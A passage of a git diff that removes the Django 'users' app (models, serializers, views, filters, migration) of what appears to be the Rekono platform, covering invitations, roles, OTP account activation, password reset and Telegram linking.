includes: get, retrieve, like and dislike features.''' - - queryset = Tool.objects.all().order_by('-id') - serializer_class = ToolSerializer - filterset_class = ToolFilter - # Fields used to search tools - search_fields = ['name', 'command'] - # Required to remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions] - - def get_queryset(self) -> QuerySet: - '''Get the model queryset. It's required for allow the access to the likes count by the child ViewSets. - - Returns: - QuerySet: Model queryset - ''' - return super().get_queryset().annotate(stage=Min('configurations__stage')) - - -class ConfigurationViewSet(GenericViewSet, ListModelMixin, RetrieveModelMixin): - '''Configuration ViewSet that includes: get and retrieve features.''' - - queryset = Configuration.objects.all().order_by('-id') - serializer_class = ConfigurationSerializer - filterset_class = ConfigurationFilter - # Fields used to search configurations - search_fields = ['name'] - # Required to remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions] diff --git a/src/backend/users/__init__.py b/src/backend/users/__init__.py deleted file mode 100644 index e2344aac5..000000000 --- a/src/backend/users/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Users.''' diff --git a/src/backend/users/admin.py b/src/backend/users/admin.py deleted file mode 100644 index 0bbc22ccb..000000000 --- a/src/backend/users/admin.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.contrib import admin -from django.contrib.auth.admin import UserAdmin -from users.models import User - -# Register your models here. - -admin.site.register(User, UserAdmin) diff --git a/src/backend/users/apps.py b/src/backend/users/apps.py deleted file mode 100644 index 53afca54c..000000000 --- a/src/backend/users/apps.py +++ /dev/null @@ -1,28 +0,0 @@ -from typing import Any - -from django.apps import AppConfig -from django.db.models.signals import post_migrate -from security.authorization.roles import ROLES - - -class UsersConfig(AppConfig): - '''Users Django application.''' - - name = 'users' - - def ready(self) -> None: - '''Run code as soon as the registry is fully populated.''' - # Initialize user groups based on permissions after migration - post_migrate.connect(self.initialize_user_groups, sender=self) - - def initialize_user_groups(self, **kwargs: Any) -> None: - '''Initialize user groups in database.''' - group_model = kwargs['apps'].get_model(app_label='auth', model_name='group') # Get Group model - permission_model = kwargs['apps'].get_model(app_label='auth', model_name='permission') # Get permission model - for name, permissions in ROLES.items(): # For each role - group, _ = group_model.objects.get_or_create(name=str(name)) # Create group - permission_set = [] - for permission_name in permissions: # For each permission name - permission = permission_model.objects.get(codename=permission_name) # Get permission model - permission_set.append(permission) # Save permission in the permission set - group.permissions.set(permission_set) # Assignate permissions to the group diff --git a/src/backend/users/enums.py b/src/backend/users/enums.py deleted file mode 100644 index 4d6f16cd1..000000000 --- a/src/backend/users/enums.py +++ /dev/null @@ -1,11 +0,0 @@ -from django.db import models - - -class Notification(models.TextChoices): - '''Notification choices for users.''' - - DISABLED = 'Disabled' # All notifications disabled - # Only notifications with executions made by the user - OWN_EXECUTIONS = 'Only my executions' - # Notifications with all executions made in user projects - ALL_EXECUTIONS = 'All executions' diff --git a/src/backend/users/filters.py b/src/backend/users/filters.py deleted file mode 100644 index b1c54d6af..000000000 --- a/src/backend/users/filters.py +++ /dev/null @@ -1,80 +0,0 @@ -from django.db.models import QuerySet -from django_filters import rest_framework -from django_filters.rest_framework import filters -from django_filters.rest_framework.filters import OrderingFilter -from projects.models import Project -from security.authorization.roles import Role -from users.models import User - - -class UserFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort User entities.''' - - # Ordering fields - o = OrderingFilter(fields=('username', 'first_name', 'last_name', 'email', 'is_active', 'date_joined')) - role = filters.ChoiceFilter(field_name='role', method='filter_role', choices=Role.choices) # Filter by user role - # Get users that are members of these project - project = filters.NumberFilter(field_name='project', method='filter_project_members') - # Get users that aren't members of these project - project__ne = filters.NumberFilter(field_name='project__ne', method='filter_project_members_ne') - - class Meta: - '''FilterSet metadata.''' - - model = User - fields = { # Filtering fields - 'username': ['exact', 'icontains'], - 'first_name': ['exact', 'icontains'], - 'last_name': ['exact', 'icontains'], - 'email': ['exact', 'icontains'], - 'is_active': ['exact'], - 'date_joined': ['gte', 'lte', 'exact'], - 'groups': ['exact'], - } - - def filter_role(self, queryset: QuerySet, name: str, value: int) -> QuerySet: - '''Filter queryset by user role. - - Args: - queryset (QuerySet): User queryset to be filtered - name (str): Field name, not used in this case - value (int): User role - - Returns: - QuerySet: Filtered queryset by user role - ''' - return queryset.filter(groups__name=value).all() - - def filter_project_members(self, queryset: QuerySet, name: str, value: int) -> QuerySet: - '''Filter queryset, including only users that are members of a specific project. - - Args: - queryset (QuerySet): User queryset to be filtered - name (str): Field name, not used in this case - value (int): Project Id - - Returns: - QuerySet: Filtered queryset by project - ''' - try: - project = Project.objects.get(pk=value, members=self.request.user) - return project.members.all().order_by('-id') - except Project.DoesNotExist: - return queryset.none() - - def filter_project_members_ne(self, queryset: QuerySet, name: str, value: int) -> QuerySet: - '''Filter queryset, including only users that aren't members of a specific project. - - Args: - queryset (QuerySet): User queryset to be filtered - name (str): Field name, not used in this case - value (int): Project Id - - Returns: - QuerySet: Filtered queryset by project - ''' - try: - project = Project.objects.get(pk=value, members=self.request.user) - return queryset.filter(is_active=True).exclude(id__in=project.members.all().values('id')) - except Project.DoesNotExist: - return queryset.all() diff --git a/src/backend/users/migrations/0001_initial.py b/src/backend/users/migrations/0001_initial.py deleted file mode 100644 index 651f4b418..000000000 --- a/src/backend/users/migrations/0001_initial.py +++ /dev/null @@ -1,50 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-23 11:29 - -from django.db import migrations, models -import django.utils.timezone -import security.input_validation -import security.otp -import users.models - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('auth', '0012_alter_user_first_name_max_length'), - ] - - operations = [ - migrations.CreateModel( - name='User', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('password', models.CharField(max_length=128, verbose_name='password')), - ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), - ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), - ('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')), - ('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')), - ('username', models.TextField(blank=True, max_length=100, null=True, unique=True, validators=[security.input_validation.validate_name])), - ('first_name', models.TextField(blank=True, max_length=100, null=True, validators=[security.input_validation.validate_name])), - ('last_name', models.TextField(blank=True, max_length=100, null=True, validators=[security.input_validation.validate_name])), - ('email', models.EmailField(max_length=150, unique=True)), - ('is_active', models.BooleanField(blank=True, default=None, null=True)), - ('otp', models.TextField(blank=True, max_length=200, null=True, unique=True)), - ('otp_expiration', models.DateTimeField(blank=True, default=security.otp.get_expiration, null=True)), - ('notification_scope', models.TextField(choices=[('Disabled', 'Disabled'), ('Only my executions', 'Own Executions'), ('All executions', 'All Executions')], default='Only my executions', max_length=18)), - ('email_notification', models.BooleanField(default=True)), - ('telegram_notification', models.BooleanField(default=False)), - ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), - ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), - ], - options={ - 'verbose_name': 'user', - 'verbose_name_plural': 'users', - 'abstract': False, - }, - managers=[ - ('objects', users.models.RekonoUserManager()), - ], - ), - ] diff --git a/src/backend/users/migrations/__init__.py b/src/backend/users/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/users/models.py b/src/backend/users/models.py deleted file mode 100644 index 7b305641e..000000000 --- a/src/backend/users/models.py +++ /dev/null @@ -1,179 +0,0 @@ -import logging -from typing import Any, cast - -from django.contrib.auth.models import AbstractUser, Group, UserManager -from django.db import models -from email_notifications.sender import (user_enable_account, user_invitation, - user_password_reset) -from rest_framework.authtoken.models import Token -from security.authorization.roles import Role -from security.input_validation import validate_name -from security.otp import generate, get_expiration - -from users.enums import Notification - -# Create your models here. - -logger = logging.getLogger() # Rekono logger - - -class RekonoUserManager(UserManager): - '''Manager for the User model.''' - - def initialize(self, user: Any, role: Role) -> None: - '''Initialize user, assigning it a role and creating its API token. - - Args: - user (Any): User to initialize - role (Role): Role to assign - ''' - group = Group.objects.get(name=role.value) # Get user group related to the role - user.groups.clear() # Clean user groups - user.groups.set([group]) # Set user group - if not Token.objects.filter(user=user).exists(): - Token.objects.create(user=user) # Create a new API token for the user - - def create_user(self, email: str, role: Role) -> Any: - '''Create a new user. - - Args: - email (str): New user email - role (Role): New user role - - Returns: - Any: Created user - ''' - # Create new user including an OTP. The user will be inactive while invitation is not accepted - user = User.objects.create(email=email, otp=generate(), is_active=None) - self.initialize(user, role) # Initialize user - user_invitation(user) # Send email invitation to the user - logger.info(f'[User] User {user.id} has been invited with role {role}') - return user - - def create_superuser(self, username: str, email: str, password: str, **extra_fields: Any) -> Any: - '''Create a new superuser (Admin role, platform administrator and staff). - - Args: - username (str): New superuser username - email (str): New superuser email - password (str): New superuser plain password - - Returns: - Any: Created superuser - ''' - extra_fields['is_active'] = True - user = super().create_superuser(username, email, password, **extra_fields) # Create new superuser - self.initialize(user, cast(Role, Role.ADMIN)) # Initialize user - logger.info(f'[User] Superuser {user.id} has been created') - return user - - def change_user_role(self, user: Any, role: Role) -> Any: - '''Change role for an user. - - Args: - user (Any): User whose role will be changed - role (Role): Role to assign to the user - - Returns: - Any: Updated user - ''' - group = Group.objects.get(name=role.value) # Get user group related to the role - user.groups.clear() # Clean user groups - user.groups.set([group]) # Set user group - logger.info(f'[User] Role for user {user.id} has been changed to {role}') - return user - - def enable_user(self, user: Any) -> Any: - '''Enable disabled user, assigning it a new role. - - Args: - user (Any): User to enable - - Returns: - Any: Enabled user - ''' - user.otp = generate() # Generate its OTP - user.otp_expiration = get_expiration() # Set OTP expiration - user.save(update_fields=['otp', 'otp_expiration']) - if not Token.objects.filter(user=user).exists(): - Token.objects.create(user=user) # Create a new API token for the user - user_enable_account(user) # Send email to establish its password - logger.info(f'[User] User {user.id} has been enabled') - return user - - def disable_user(self, user: Any) -> Any: - '''Disable user. - - Args: - user (Any): User to disable - - Returns: - Any: Disabled user - ''' - user.is_active = False # Disable user - user.set_unusable_password() # Make its password unusable - user.otp = None # Remove its OTP - user.projects.clear() # Clear its projects - user.save(update_fields=['otp', 'is_active']) - try: - token = Token.objects.get(user=user) # Get user API token - token.delete() # Delete user API token - except Token.DoesNotExist: - pass - logger.info(f'[User] User {user.id} has been disabled') - return user - - def request_password_reset(self, user: Any) -> Any: - '''Request a password reset for an user. - - Args: - user (Any): User that requests its password reset - - Returns: - Any: User after request password reset - ''' - user.otp = generate() # Generate its OTP - user.otp_expiration = get_expiration() # Set OTP expiration - user.save(update_fields=['otp', 'otp_expiration']) - user_password_reset(user) # Send password reset email - logger.info(f'[User] User {user.id} requested a password reset', extra={'user': user.id}) - return user - - -class User(AbstractUser): - '''User model.''' - - # Main user data - username = models.TextField(max_length=100, unique=True, blank=True, null=True, validators=[validate_name]) - first_name = models.TextField(max_length=100, blank=True, null=True, validators=[validate_name]) - last_name = models.TextField(max_length=100, blank=True, null=True, validators=[validate_name]) - email = models.EmailField(max_length=150, unique=True) - is_active = models.BooleanField(null=True, blank=True, default=None) - - # One Time Password used for invite and enable users, or reset passwords - otp = models.TextField(max_length=200, unique=True, blank=True, null=True) - # Expiration date for the OTP - otp_expiration = models.DateTimeField(default=get_expiration, blank=True, null=True) - - notification_scope = models.TextField( # User notification preferences - max_length=18, - choices=Notification.choices, - default=Notification.OWN_EXECUTIONS - ) - # Indicate if email notifications are enabled - email_notification = models.BooleanField(default=True) - # Indicate if Telegram notifications are enabled - telegram_notification = models.BooleanField(default=False) - - USERNAME_FIELD = 'username' # Generic user configuration - EMAIL_FIELD = 'email' - REQUIRED_FIELDS = ['email'] - objects = RekonoUserManager() # Model manager - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return self.email diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py deleted file mode 100644 index 4c299c5d1..000000000 --- a/src/backend/users/serializers.py +++ /dev/null @@ -1,389 +0,0 @@ -import logging -from typing import Any, Dict - -from django.contrib.auth.password_validation import validate_password -from django.db import transaction -from django.forms import ValidationError -from django.utils import timezone -from email_notifications.sender import user_telegram_linked_notification -from rest_framework import serializers, status -from rest_framework.exceptions import AuthenticationFailed -from rest_framework.fields import SerializerMethodField -from security.authorization.roles import Role -from telegram_bot import sender as telegram_sender -from telegram_bot.messages.basic import LINKED -from telegram_bot.models import TelegramChat -from users.models import User - -logger = logging.getLogger() # Rekono logger - - -class UserSerializer(serializers.ModelSerializer): - '''Serializer to get the users data via API.''' - - # Field that indicates the user role name - role = SerializerMethodField(method_name='get_role') - - class Meta: - '''Serializer metadata.''' - - model = User - fields = ( # Target port fields exposed via API - 'id', 'username', 'first_name', 'last_name', 'email', 'is_active', 'date_joined', 'last_login', 'role' - ) - - def get_role(self, instance: User) -> str: - '''Get user role name from the user groups. - - Args: - instance (User): User to get role name - - Returns: - str: Role name assigned to the user - ''' - role = instance.groups.first() # Get user group - return role.name if role else None # Return group name - - -class SimplyUserSerializer(serializers.ModelSerializer): - '''Simply serializer to include user main data in other serializers.''' - - class Meta: - '''Serializer metadata.''' - - model = User - fields = ('id', 'username') # User fields exposed via API - - -class InviteUserSerializer(serializers.Serializer): - '''Serializer to invite a new user via API.''' - - email = serializers.EmailField(required=True) # New user email - role = serializers.ChoiceField(choices=Role.choices, required=True) # New user role - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - if User.objects.filter(email=attrs['email']): - raise ValidationError({'email': 'This email already exists'}) - return attrs - - def create(self, validated_data: Dict[str, Any]) -> User: - '''Create instance from validated data. - - Args: - validated_data (Dict[str, Any]): Validated data - - Returns: - User: Created instance - ''' - return User.objects.create_user(validated_data['email'], Role(validated_data['role'])) - - -class ChangeUserRoleSerializer(serializers.Serializer): - '''Serializer to change user role via API.''' - - role = serializers.ChoiceField(choices=Role.choices, required=True) # New role for the user - - def update(self, instance: User, validated_data: Dict[str, Any]) -> User: - '''Update instance from validated data. - - Args: - instance (User): Instance to update - validated_data (Dict[str, Any]): Validated data - - Returns: - User: Updated instance - ''' - return User.objects.change_user_role(instance, Role(validated_data['role'])) - - -class UserProfileSerializer(serializers.ModelSerializer): - '''Serializer to manage user profile via API.''' - - # Field that indicates the user role name - role = SerializerMethodField(method_name='get_role') - # Field that indicates if the user has configured Telegram bot yet or not - telegram_configured = SerializerMethodField(method_name='get_telegram_configured') - - class Meta: - '''Serializer metadata.''' - - model = User - fields = ( # User fields exposed via API - 'id', 'username', 'first_name', 'last_name', 'email', 'date_joined', 'last_login', - 'role', 'telegram_configured', 'notification_scope', 'email_notification', 'telegram_notification' - ) - # Read only fields - read_only_fields = ('username', 'email', 'date_joined', 'last_login', 'role', 'telegram_configured') - - def get_role(self, instance: User) -> str: - '''Get user role name from the user groups. - - Args: - instance (User): User to get role name - - Returns: - str: Role name assigned to the user - ''' - role = instance.groups.first() # Get user group - return role.name if role else None # Return group name - - def get_telegram_configured(self, instance: User) -> bool: - '''Check if user has configured Telegam bot yet or not. - - Args: - instance (User): User to check Telegram bot configuration - - Returns: - bool: Indicate if Telegram bot has been configured - ''' - return hasattr(instance, 'telegram_chat') and instance.telegram_chat is not None - - -class TelegramBotSerializer(serializers.Serializer): - '''Serializer to configure Telegram Bot via API.''' - - # One Time Password used to link account to the Telegram Bot - otp = serializers.CharField(max_length=200, required=True) - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - AuthenticationFailed: Raised if Telegram OTP is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - try: - # Search Telegram chat by otp - attrs['telegram_chat'] = TelegramChat.objects.get(otp=attrs.get('otp'), otp_expiration__gt=timezone.now()) - except TelegramChat.DoesNotExist: # Invalid otp - raise AuthenticationFailed('Invalid Telegram OTP', code=status.HTTP_401_UNAUTHORIZED) - return attrs - - @transaction.atomic() - def update(self, instance: User, validated_data: Dict[str, Any]) -> User: - '''Update instance from validated data. - - Args: - instance (User): Instance to update - validated_data (Dict[str, Any]): Validated data - - Returns: - User: Updated instance - ''' - validated_data['telegram_chat'].otp = None # Set otp to null - validated_data['telegram_chat'].otp_expiration = None # Set otp expiration to null - validated_data['telegram_chat'].user = instance # Link Telegram chat Id to the user - validated_data['telegram_chat'].save(update_fields=['otp', 'otp_expiration', 'user']) - user_telegram_linked_notification(instance) # Send email notification to the user - # Send Telegram notification to the user - telegram_sender.send_message(validated_data['telegram_chat'].chat_id, LINKED) - logger.info(f'[Security] User {instance.id} has logged in the Telegram bot', extra={'user': instance.id}) - return instance - - -class UserPasswordSerializer(serializers.Serializer): - '''Common serializer for all user password operations.''' - - password = serializers.CharField(max_length=150, required=True) # User password - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - validate_password(attrs.get('password')) # Check password policy - return attrs - - -class CreateUserSerializer(UserPasswordSerializer): - '''Serializer to create an user via API after email invitation.''' - - username = serializers.CharField(max_length=150, required=True) # New user username - first_name = serializers.CharField(max_length=150, required=True) # New user first name - last_name = serializers.CharField(max_length=150, required=True) # New user last name - otp = serializers.CharField(max_length=200, required=True) # OTP included in the email invitation - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - AuthenticationFailed: Raised if OTP is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - try: - # Search inactive user by otp and check expiration datetime - user = User.objects.get(is_active=None, otp=attrs.get('otp'), otp_expiration__gt=timezone.now()) - except User.DoesNotExist: # Invalid otp - raise AuthenticationFailed('Invalid OTP value', code=status.HTTP_401_UNAUTHORIZED) - attrs = super().validate(attrs) - if User.objects.filter(username=attrs['username']): - raise ValidationError({'username': 'This username already exists'}) - attrs['user'] = user - return attrs - - @transaction.atomic() - def create(self, validated_data: Dict[str, Any]) -> User: - '''Create instance from validated data. - - Args: - validated_data (Dict[str, Any]): Validated data - - Returns: - User: Created instance - ''' - # Get invited user - validated_data['user'].username = validated_data.get('username') # Set username - validated_data['user'].first_name = validated_data.get('first_name') # Set first name - validated_data['user'].last_name = validated_data.get('last_name') # Set last name - # nosemgrep: python.django.security.audit.unvalidated-password.unvalidated-password - validated_data['user'].set_password(validated_data.get('password')) # Set password - validated_data['user'].is_active = True # Enable user - validated_data['user'].otp = None # Clear OTP - validated_data['user'].otp_expiration = None # Clear OTP expiration - validated_data['user'].save(update_fields=[ - 'username', 'first_name', 'last_name', 'password', 'is_active', 'otp', 'otp_expiration' - ]) - logger.info( - f'[User] User {validated_data["user"].id} has been created', - extra={'user': validated_data["user"].id} - ) - return validated_data['user'] - - -class ChangeUserPasswordSerializer(UserPasswordSerializer): - '''Serializer to change user password via API.''' - - # Original user password to validate his identity - old_password = serializers.CharField(max_length=150, required=True) - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - AuthenticationFailed: Raised if old password is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - if not self.instance.check_password(attrs.get('old_password')): - raise AuthenticationFailed('Invalid password', code=status.HTTP_401_UNAUTHORIZED) - return super().validate(attrs) - - def update(self, instance: User, validated_data: Dict[str, Any]) -> User: - '''Update instance from validated data. - - Args: - instance (User): Instance to update - validated_data (Dict[str, Any]): Validated data - - Returns: - User: Updated instance - ''' - # nosemgrep: python.django.security.audit.unvalidated-password.unvalidated-password - instance.set_password(validated_data.get('password')) # Update password - instance.save(update_fields=['password']) - logger.info(f'[Security] User {self.instance.id} changed his password', extra={'user': self.instance.id}) - return instance - - -class ResetPasswordSerializer(UserPasswordSerializer): - '''Serializer to reset user password via API.''' - - otp = serializers.CharField(max_length=200, required=True) # OTP included in the email message - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - AuthenticationFailed: Raised if OTP is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - try: - # Search active user by otp and check expiration datetime - user = User.objects.get(otp=attrs['otp'], otp_expiration__gt=timezone.now()) - except User.DoesNotExist: # Invalid otp - raise AuthenticationFailed('Invalid OTP value', code=status.HTTP_401_UNAUTHORIZED) - attrs = super().validate(attrs) - attrs['user'] = user - return attrs - - @transaction.atomic() - def save(self, **kwargs: Any) -> User: - '''Save changes in instance. - - Returns: - User: Instance after apply changes - ''' - # Get user that requested the password reset - # nosemgrep: python.django.security.audit.unvalidated-password.unvalidated-password - self.validated_data['user'].set_password(self.validated_data.get('password')) # Set password - self.validated_data['user'].otp = None # Clear OTP - self.validated_data['user'].is_active = True # Active user - self.validated_data['user'].save(update_fields=['password', 'otp', 'is_active']) - logger.info( - f'[Security] User {self.validated_data["user"].id} changed his password', - extra={'user': self.validated_data["user"].id} - ) - return self.validated_data['user'] - - -class RequestPasswordResetSerializer(serializers.Serializer): - '''Serializer to request the user password reset via API.''' - - # User email of the user that requests the password reset - email = serializers.EmailField(max_length=150, required=True) - - @transaction.atomic() - def save(self, **kwargs: Any) -> User: - '''Save changes in instance. - - Returns: - User: Instance after apply changes - ''' - # Get user that requests the password reset - user = User.objects.get(email=self.validated_data.get('email'), is_active=True) - user = User.objects.request_password_reset(user) # Request password reset - return user diff --git a/src/backend/users/urls.py b/src/backend/users/urls.py deleted file mode 100644 index 8449a88a2..000000000 --- a/src/backend/users/urls.py +++ /dev/null @@ -1,25 +0,0 @@ -from django.urls import include, path -from rest_framework.authtoken import views -from rest_framework.routers import SimpleRouter -from users.views import (CreateUserViewSet, ResetPasswordViewSet, - UserAdminViewSet, UserProfileViewSet) - -# Register your views here. - -router = SimpleRouter() -router.register('users', UserAdminViewSet) - -profile = UserProfileViewSet.as_view({'get': 'get_profile', 'put': 'update_profile'}) -change_password = UserProfileViewSet.as_view({'put': 'change_password'}) -telegram_token = UserProfileViewSet.as_view({'post': 'telegram_token'}) -reset_password = ResetPasswordViewSet.as_view({'post': 'create', 'put': 'reset_password'}) - -urlpatterns = [ - path('api-token/', views.obtain_auth_token), - path('users/create/', CreateUserViewSet.as_view({'post': 'create'})), - path('reset-password/', reset_password), - path('profile/', profile), - path('profile/change-password/', change_password), - path('profile/telegram-token/', telegram_token), - path('', include(router.urls)), -] diff --git a/src/backend/users/views.py b/src/backend/users/views.py deleted file mode 100644 index cb10ff4c9..000000000 --- a/src/backend/users/views.py +++ /dev/null @@ -1,249 +0,0 @@ -import logging -from typing import Any, List - -from drf_spectacular.utils import extend_schema -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.mixins import (DestroyModelMixin, ListModelMixin, - RetrieveModelMixin) -from rest_framework.permissions import (BasePermission, DjangoModelPermissions, - IsAuthenticated) -from rest_framework.request import Request -from rest_framework.response import Response -from rest_framework.viewsets import GenericViewSet -from security.authorization.permissions import IsAdmin, IsNotAuthenticated - -from users.filters import UserFilter -from users.models import User -from users.serializers import (ChangeUserPasswordSerializer, - ChangeUserRoleSerializer, CreateUserSerializer, - InviteUserSerializer, - RequestPasswordResetSerializer, - ResetPasswordSerializer, TelegramBotSerializer, - UserProfileSerializer, UserSerializer) - -# Create your views here. - -logger = logging.getLogger() # Rekono logger - - -class UserAdminViewSet(GenericViewSet, ListModelMixin, RetrieveModelMixin, DestroyModelMixin): - '''User administration ViewSet that includes: get, retrieve, invite, role change, enable and disable features.''' - - serializer_class = UserSerializer - queryset = User.objects.all().order_by('-id') - filterset_class = UserFilter - # Fields used to search tasks - search_fields = ['username', 'first_name', 'last_name', 'email'] - # Required to include the IsAdmin to the base authorization classes and remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions, IsAdmin] - - def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Disable user. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - instance = self.get_object() - if instance.is_active is None: - super().destroy(request, *args, **kwargs) - else: - User.objects.disable_user(instance) - return Response(status=status.HTTP_204_NO_CONTENT) - - @extend_schema(request=InviteUserSerializer, responses={201: UserSerializer}) - @action(detail=False, methods=['POST'], url_path='invite', url_name='invite') - def invite(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Invite new user. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = InviteUserSerializer(data=request.data) - if serializer.is_valid(): # Check input data - user = serializer.create(serializer.validated_data) # Invite user - return Response(UserSerializer(user).data, status=status.HTTP_201_CREATED) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - @extend_schema(request=ChangeUserRoleSerializer, responses={200: UserSerializer}) - @action(detail=True, methods=['PUT'], url_path='role', url_name='role') - def change_user_role(self, request: Request, pk: str) -> Response: - '''Change user role. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP response - ''' - user = self.get_object() # Get user instance - serializer = ChangeUserRoleSerializer(data=request.data) - if serializer.is_valid(): # Check input data - serializer.update(user, serializer.validated_data) # Change user role - return Response(UserSerializer(user).data, status=status.HTTP_200_OK) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - @extend_schema(request=None, responses={200: UserSerializer}) - @action(detail=True, methods=['POST'], url_path='enable', url_name='enable') - def enable_user(self, request: Request, pk: str) -> Response: - '''Enable disabled user. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP response - ''' - user = self.get_object() # Get user instance - User.objects.enable_user(user) - return Response(UserSerializer(user).data, status=status.HTTP_200_OK) - - -class UserProfileViewSet(GenericViewSet): - '''User profile ViewSet that includes: get, update, password change and Telegram bot configuration features.''' - - serializer_class = UserProfileSerializer - queryset = User.objects.all().order_by('-id') - # Only IsAuthenticated class is required because all users can manage its profile - permission_classes = [IsAuthenticated] - - @action(detail=False, methods=['GET']) - def get_profile(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Get user profile. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - return Response(self.serializer_class(request.user, many=False).data, status=status.HTTP_200_OK) - - @action(detail=False, methods=['PUT']) - def update_profile(self, request: Request, *args: Any, **kwargs: Any) -> Response: - '''Update user profile. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = self.serializer_class(request.user, data=request.data) - if serializer.is_valid(): # Check input data - serializer.update(request.user, serializer.validated_data) # Update user profile - return Response(serializer.data, status=status.HTTP_200_OK) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - @extend_schema(request=ChangeUserPasswordSerializer, responses={200: None}) - @action(detail=False, methods=['PUT'], url_path='change-password', url_name='change-password') - def change_password(self, request: Request) -> Response: - '''Change user password. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = ChangeUserPasswordSerializer(request.user, data=request.data) - if serializer.is_valid(): # Check input data - serializer.update(request.user, serializer.validated_data) # Update user password - return Response(status=status.HTTP_200_OK) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - @extend_schema(request=TelegramBotSerializer, responses={200: None}) - @action(detail=False, methods=['POST'], url_path='telegram-token', url_name='telegram-token') - def telegram_token(self, request: Request) -> Response: - '''Link Telegram bot to the user account. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = TelegramBotSerializer(request.user, data=request.data) - if serializer.is_valid(): # Check input data - serializer.update(request.user, serializer.validated_data) # Link Telegram bot to user account - return Response(status=status.HTTP_200_OK) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - -class CreateUserViewSet(GenericViewSet): - '''User ViewSet that includes user initialization from invitation feature.''' - - serializer_class = CreateUserSerializer - queryset = User.objects.all().order_by('-id') - # Only IsNotAuthenticated class is required because, users can be initialized from another user session - permission_classes = [IsNotAuthenticated] - - @action(detail=False, methods=['POST']) - def create(self, request: Request) -> Response: - '''User creation from invitation. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = self.serializer_class(data=request.data) - if serializer.is_valid(): # Check input data - serializer.save() # Initialize user data - return Response(status=status.HTTP_201_CREATED) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - -class ResetPasswordViewSet(GenericViewSet): - '''User ViewSet that includes reset password feature.''' - - queryset = User.objects.all().order_by('-id') - # No class required because all users can reset his password - # This operation can be performed from an user session or not - permission_classes: List[BasePermission] = [] - - @extend_schema(request=RequestPasswordResetSerializer, responses={200: None}) - def create(self, request: Request) -> Response: - '''Request user password reset. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = RequestPasswordResetSerializer(data=request.data) - if serializer.is_valid(): # Check input data - try: - serializer.save() # Request password reset - except User.DoesNotExist: - # Ignore User not found errors to prevent user enumeration vulnerabilities - pass - return Response(status=status.HTTP_200_OK) - return 